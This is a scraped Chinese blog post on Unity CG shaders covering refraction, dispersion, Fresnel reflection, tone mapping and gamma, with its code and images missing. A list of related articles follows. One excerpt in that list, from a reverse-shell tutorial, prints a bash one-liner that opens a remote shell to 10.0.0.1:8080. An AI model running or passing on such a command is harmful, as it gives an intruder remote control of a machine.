Unity shader(CG) 写一个 散色、折射、反射、菲涅尔、gamma、简单后期屏幕特效
http://www.lai18.com/content/506918.html
1.自生要求是很重要的,当然不是什么强迫工作之类的,而是自己有限的能力上不断的扩展兴趣上的内容。
2.用生活的眼光去发现shader的存在形式,许多灵感都来自于大自然,比如 火苗的动态抖动 像 frac/fract(time)函数,甚至小草被风吹也像frac/fract(time).
http://www.glslsandbox.com/e#24095.1
3.千万不要有压力,而是动力,每次调颜色和参数都有不经意的收获,多次尝试是产生意外之一,感觉会油然而生,当然要抓住它它它它它它它它。。。
转载请出处地址 http://www.lai18.com/content/506918.html 恬纳微晰
如果写效果头疼,那么
1.这这这,不就是透射的感觉么?
折射率改变
散色率的改变
透射颜色改变
如果看效果眼睛疼,那么
后期屏幕特效-HDR之亮度映射效果
后期屏幕特效-HDR之色调映射效果
后期屏幕特效-模拟gamma效果
什马效果
当然除了以上效果,还有bloom,glow,streak,ghost,blur,flare,次表面散色等等效果,你直接wiki和Nvida官网上得到相关资料。当然搭配得好才是,,,不然耗了硬件又耗了审美观。。
慢慢来,不要强求一下子完美
反射
物理上我们常常学到的是环境中的光线入射到介质里,产生了折射变化。而对于一个unity游戏引擎来说光是非常宝贵的,unity5.x中的GI全局光照什马的采用so easy版光线追踪,什马的ray_cast、ray_track、ray_march等等,我们常用到的还是ray-cast…….
于是我们可以用视线投射出光线,逆着光路查询颜色。
当然至于查询颜色,像这种360度无死角反射,让你会毫不犹豫的想到它(?????)
对!!!就是它了,cubemap,当然你也要先samplerCUBE采样器采样。
那散色与折射呢?
亦夫如是,不过要下点功夫而已,什么是散射,它和折射到底是父子关系还是夫妻关系?(这个嘛!属于物理,可以wiki百科啊、、)
那怎么用shader写出散色,如果知道rgb通道,那么做做手脚也是不错的选择。(三原色,哈哈哈!!!)
fresnel(菲涅尔)好高大上的样子
OK!!!就是这么着,这是我简版菲涅尔。
其实它就是我们可以认为的边缘光照(
),有可以用它做为描边效果,而我用它做做差值反射与折射效果,这个pow()嘛!你懂得!
用用后期效果试试
我实在是不行了,快来救救我,于是
对,没有猜错,这就是so easy版camera与shader打交道的方式之一
这是传递camera图像的,a图片传给shader(gpu),b图片就是shader渲染完的图片给camera显示啊。你当然可以看看 unity 自带的 API说明就是了。
后期shader
就是Ta,一个又是自己写的shader,,,其实自己写shader才放心,还能变花样,还能优化!当然也有人怀疑自己弄得太神,哈哈哈哈哈哈,天朝gpu编程有多大的历史啊,有好多靠wiki学习,再说这么点代码,太美妙了。
亮度(Luminance)
用用Luminance是个不错的选择
对亮度合理的分配。
色调映射(toneMapping)
http://en.wikipedia.org/wiki/Tone_mapping这是Tonemapping的wiki解释
对!就它了,图中圈出的so easy版tonemapping 过滤器。。。。
当然,还有更好的tonemapping过滤器,你可以自己去发明或看看理论。
gamma
一个so easy gamma版本
更叼的算法和特效,你说呢?
那是不会放出来的,有的埋在土里,有的就在wiki中,作为一个博客,为了不让别人把重要的东西复制走了,你除了水印就是代码替换,保护自己的著作版权。。。
视觉一览通
我认为雕像可以的样子
背景-全景图cubemap来自wiki百科下载,特效渲染归 恬纳微晰所有
有空把 曲面细分 拿来说说,把 sun shader拿来说说,还有好多多…………
Unity shader(CG) 写一个 散色、折射、反射、菲涅尔、gamma、简单后期屏幕特效的更多相关文章
- CG之菲涅尔效果简单实现
菲涅尔效果,指当光到达两种材质的接触面时,一些光在接触面的表面被反射出去,而另一部分光将发生折射穿过接触面. 现在要用shader来实现这种效果,如果要精确地描述这种底层的物理,其计算公式是非常复杂的 ...
- [Unity] Shader - CG语言 和 HLSL语言
CG 跟 HLSL几乎是一摸一样的. (HLSL官方参考,包含语法格式,函数库,关键字,在这个地方: http://msdn.microsoft.com/en-us/library/bb509638( ...
- [Unity] Shader - CG语言 流程控制语句
CG语言中: 不支持 switch 语句(可以写,但不能很好的执行.) 循环语句中, 循环次数不能大于 1024 ,否则会报错. If...ELSE 条件判断语句: if (true) { } els ...
- unity, Shader.Find的一个坑
所以对于没有被任何东西引用,只靠在游戏运行时使用Shader.Find换上去的shader,为了双保险,可以首先放到resources文件夹里,另外,再在ProjectSettings->Gra ...
- 写一个Python 1、通过select实现的最简单的web框架2、通过wsgiref实现的web框架
#!/usr/bin/env python # -*- coding: utf- -*- import socket import select class MyRequest: "&quo ...
- Unity Shader 菲涅尔环境反射
菲涅尔反射描述了一种光学现象,当光照到物体表面时,一部分发生反射,另一部分则进入物体内部,发生折射或散射:相比直接的反射和折射计算,菲涅尔反射更接近真实情况. 可用下面的等式近似计算这种反射效果: F ...
- Unity Shader入门精要学习笔记 - 第10章 高级纹理
转载自 冯乐乐的 <Unity Shader入门精要> 立方体纹理 在图形学中,立方体纹理是环境映射的一种实现方法.环境映射可以模拟物体周围的环境,而使用了环境映射的物体可以看起来像镀了层 ...
- Unity Shader入门精要学习笔记 - 第9章 更复杂的光照
转载自 冯乐乐的<Unity Shader入门精要> Unity 的渲染路径 在Unity里,渲染路径决定了光照是如何应该到Unity Shader 中的.因此,如果要和光源打交道,我们需 ...
- Unity Shader入门精要学习笔记 - 第3章 Unity Shader 基础
来源作者:candycat http://blog.csdn.net/candycat1992/article/ 概述 总体来说,在Unity中我们需要配合使用材质和Unity Shader才能达 ...
随机推荐
- wireshark抓包直观图解 TCP三次握手/四次挥手详解
转http://www.seanyxie.com/category/linux/ 作者:seanyxie | 一. TCP/IP协议族 TCP/IP是一个协议族,通常分不同层次进行开发,每个层次负 ...
- nginx配置404
1.创建一个404错误时显示的页面 2.在nginx.conf中的http区域加入: fastcgi_intercept_errors on; 3.在nginx.conf的server区域(如果网站有 ...
- SQLServer: 解决“错误15023:当前数据库中已存在用户或角色
解决SQL Server 2008 错误15023:当前数据库中已存在用户或角色,SQLServer2008,错误15023, 在使用SQL Server 2008时,我们经常会遇到一个情况:需要把一 ...
- ubuntu下chromium 安装flash player
原文地址 :http://blog.sina.com.cn/s/blog_858820890102v63w.html 不记得从什么时候起,Chromium 不再支持 Netscape plugin A ...
- CHECKBOX_CHECKED built-in in Oracle D2k Forms
CHECKBOX_CHECKED built-in in Oracle D2k Forms DescriptionA call to the CHECKBOX_CHECKED function ret ...
- 反弹shell的十种姿势
bash版本: bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 ,注意某些linux不支持 perl版本: perl -e 'use Sock ...
- C语言程序设计现代方法_基本类型(第七章)
C语言支持两种不同的数值类型,整数类型,浮点类型. C语言的整数类型有不同的尺寸.int类型通常为32位,但在老的CPU上可能是16位.有些可能是64位. 因此,int型如果在16位CPU上最大值就是 ...
- Codeforces Round #287 (Div. 2) C. Guess Your Way Out! 思路
C. Guess Your Way Out! time limit per test 1 second memory limit per test 256 megabytes input standa ...
- POJ1088滑雪(记忆化搜索+DFS||经典的动态规划)
Time Limit: 1000MS Memory Limit: 65536K Total Submissions: 84297 Accepted: 31558 Description M ...
- Sql 行转列问题总结
行转列问题总结 1.行转列 ---1.最简单的行转列/* 问题:假设有张学生成绩表(tb)如下:姓名 课程 分数张三 语文 74张三 数学 83张三 物理 93李四 语文 74李四 数学 84李四 物 ...